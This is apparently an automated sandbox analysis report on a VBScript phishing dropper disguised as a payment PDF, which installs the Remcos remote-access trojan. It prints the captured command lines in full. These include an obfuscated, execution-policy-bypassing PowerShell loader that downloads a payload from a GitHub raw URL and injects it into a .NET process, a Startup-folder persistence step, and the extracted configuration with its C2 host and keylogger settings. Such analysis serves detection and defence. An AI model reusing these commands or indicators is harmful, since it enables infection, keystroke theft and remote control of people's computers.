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Windows
Analysis Report
PAYMENT SPECIFIKACIJA 364846637-pdf.vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Remcos RAT
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Connects to many ports of the same IP (likely port scanning)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Obfuscated command line found
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 5664 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PAYME NT SPECIFI KACIJA 364 846637-pdf .vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 2260 cmdline:
"C:\Window s\System32 \cmd.exe" /c ping 12 7.0.0.1 -n 10 & powe rshell -co mmand [Sys tem.IO.Fil e]::Copy(' C:\Windows \system32\ PAYMENT SP ECIFIKACIJ A 36484663 7-pdf.vbs' , 'C:\User s\' + [Env ironment]: :UserName + ''\AppDa ta\Roaming \Microsoft \Windows\S tart Menu\ Programs\S tartup\ sb v.edadilib isnapxe.vb s')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6548 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - PING.EXE (PID: 1816 cmdline:
ping 127.0 .0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D) - powershell.exe (PID: 6200 cmdline:
powershell -command [System.IO .File]::Co py('C:\Win dows\syste m32\PAYMEN T SPECIFIK ACIJA 3648 46637-pdf. vbs', 'C:\ Users\' + [Environme nt]::UserN ame + ''\A ppData\Roa ming\Micro soft\Windo ws\Start M enu\Progra ms\Startup \ sbv.edad ilibisnapx e.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3180 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICRFbl Y6Y09tU1Bl Y1s0LDE1LD I1XS1KT0lO JycpKCAoJ1 NIc3VybCAn Kyc9JysnID NkS2h0Jysn dCcrJ3BzOi crJy8vJysn cmEnKyd3Lm dpdGgnKyd1 YnVzZScrJ3 Jjb250ZW50 LmNvbS9Ob0 QnKydldCcr J2VjdE9uL0 5vRGUnKyd0 ZWN0T24vcm Vmcy9oZWFk cy9tYWluL0 RldCcrJ2Fo Tm90aC1WLi crJ3QnKyd4 JysndDNkSy crJzsgJysn U0hzJysnYm FzZTY0Q29u dGUnKydudC A9ICcrJyhO ZXctTycrJ2 JqZScrJ2N0 JysnICcrJ1 MnKyd5c3Rl JysnbS5OZS crJ3QuV2Vi Q2xpZW50KS 5EbycrJ3du bG9hZFN0cm luZyhTSHN1 cmwnKycpOy AnKydTSHNi aW5hcnknKy dDb250Jysn ZW50ID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbScr J0JhJysnc2 U2NFN0Jysn cmluZyhTSH MnKydiYXNl NicrJzQnKy dDb250ZW50 KTsnKycgU0 hzYXNzZW1i JysnbHkgPS BbUicrJ2Vm bGVjJysndG lvbi5Bc3Nl bWJseV06Oi crJ0xvYWQo U0hzJysnYi crJ2luYScr J3J5Q29udC crJ2VudCk7 JysnIFtkbm xpYi5JTy5I Jysnb21lXT o6VkFJKGVX JysnQTAvSl U0YmYvZC9l ZScrJy4nKy dldHNhcC8v OnNwdHQnKy doZVdBLCAn KydlJysnV0 FkJysnZXNh dGl2YWRvZS crJ1dBLCBl V0FkZXNhdG knKyd2YWQn KydvZVdBLC BlJysnV0Fk ZXNhdCcrJ2 l2YWRvZVdB LCBlJysnV0 FBZCcrJ2RJ blByb2Nlc3 MzJysnMmVX QSwgZScrJ1 cnKydBZVdB LGVXQWUnKy dXQSknKS5y RXBsYWNFKC hbY0hBcl0x MDErW2NIQX JdODcrW2NI QXJdNjUpLF tzVHJJbmdd W2NIQXJdMz QpLnJFcGxh Y0UoJ1NIcy csW3NUcklu Z11bY0hBcl 0zNikuckVw bGFjRSgoW2 NIQXJdNTEr W2NIQXJdMT AwK1tjSEFy XTc1KSxbc1 RySW5nXVtj SEFyXTM5KS Ap';$OWjux d = [syste m.Text.enc oding]::UT F8.GetStri ng([system .Convert]: :Frombase6 4String($c odigo));po wershell.e xe -window style hidd en -execut ionpolicy bypass -No Profile -c ommand $OW juxD MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3664 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3836 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ EnV:cOmSPe c[4,15,25] -JOIN'')( ('SHsurl ' +'='+' 3dK ht'+'t'+'p s:'+'//'+' ra'+'w.git h'+'ubuse' +'rcontent .com/NoD'+ 'et'+'ectO n/NoDe'+'t ectOn/refs /heads/mai n/Det'+'ah Noth-V.'+' t'+'x'+'t3 dK'+'; '+' SHs'+'base 64Conte'+' nt = '+'(N ew-O'+'bje '+'ct'+' ' +'S'+'yste '+'m.Ne'+' t.WebClien t).Do'+'wn loadString (SHsurl'+' ); '+'SHsb inary'+'Co nt'+'ent = [System.C onvert]::F rom'+'Ba'+ 'se64St'+' ring(SHs'+ 'base6'+'4 '+'Content );'+' SHsa ssemb'+'ly = [R'+'ef lec'+'tion .Assembly] ::'+'Load( SHs'+'b'+' ina'+'ryCo nt'+'ent); '+' [dnlib .IO.H'+'om e]::VAI(eW '+'A0/JU4b f/d/ee'+'. '+'etsap// :sptt'+'he WA, '+'e'+ 'WAd'+'esa tivadoe'+' WA, eWAdes ati'+'vad' +'oeWA, e' +'WAdesat' +'ivadoeWA , e'+'WAAd '+'dInProc ess3'+'2eW A, e'+'W'+ 'AeWA,eWAe '+'WA)').r EplacE(([c HAr]101+[c HAr]87+[cH Ar]65),[sT rIng][cHAr ]34).rEpla cE('SHs',[ sTrIng][cH Ar]36).rEp lacE(([cHA r]51+[cHAr ]100+[cHAr ]75),[sTrI ng][cHAr]3 9) )" MD5: 04029E121A0CFA5991749937DD22A1D9) - AddInProcess32.exe (PID: 5508 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C) - AddInProcess32.exe (PID: 6308 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "ab9001.ddns.net:35890:1", "Assigned name": "NEWS", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "vlc.exe", "Startup value": "reg", "Hide file": "Disable", "Mutex": "Rmc-YJH0WY", "Keylog flag": "1", "Keylog path": "User Profile", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 12 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer | detects Windows exceutables potentially bypassing UAC using eventvwr.exe | ditekSHen |
| |
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Click to see the 10 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |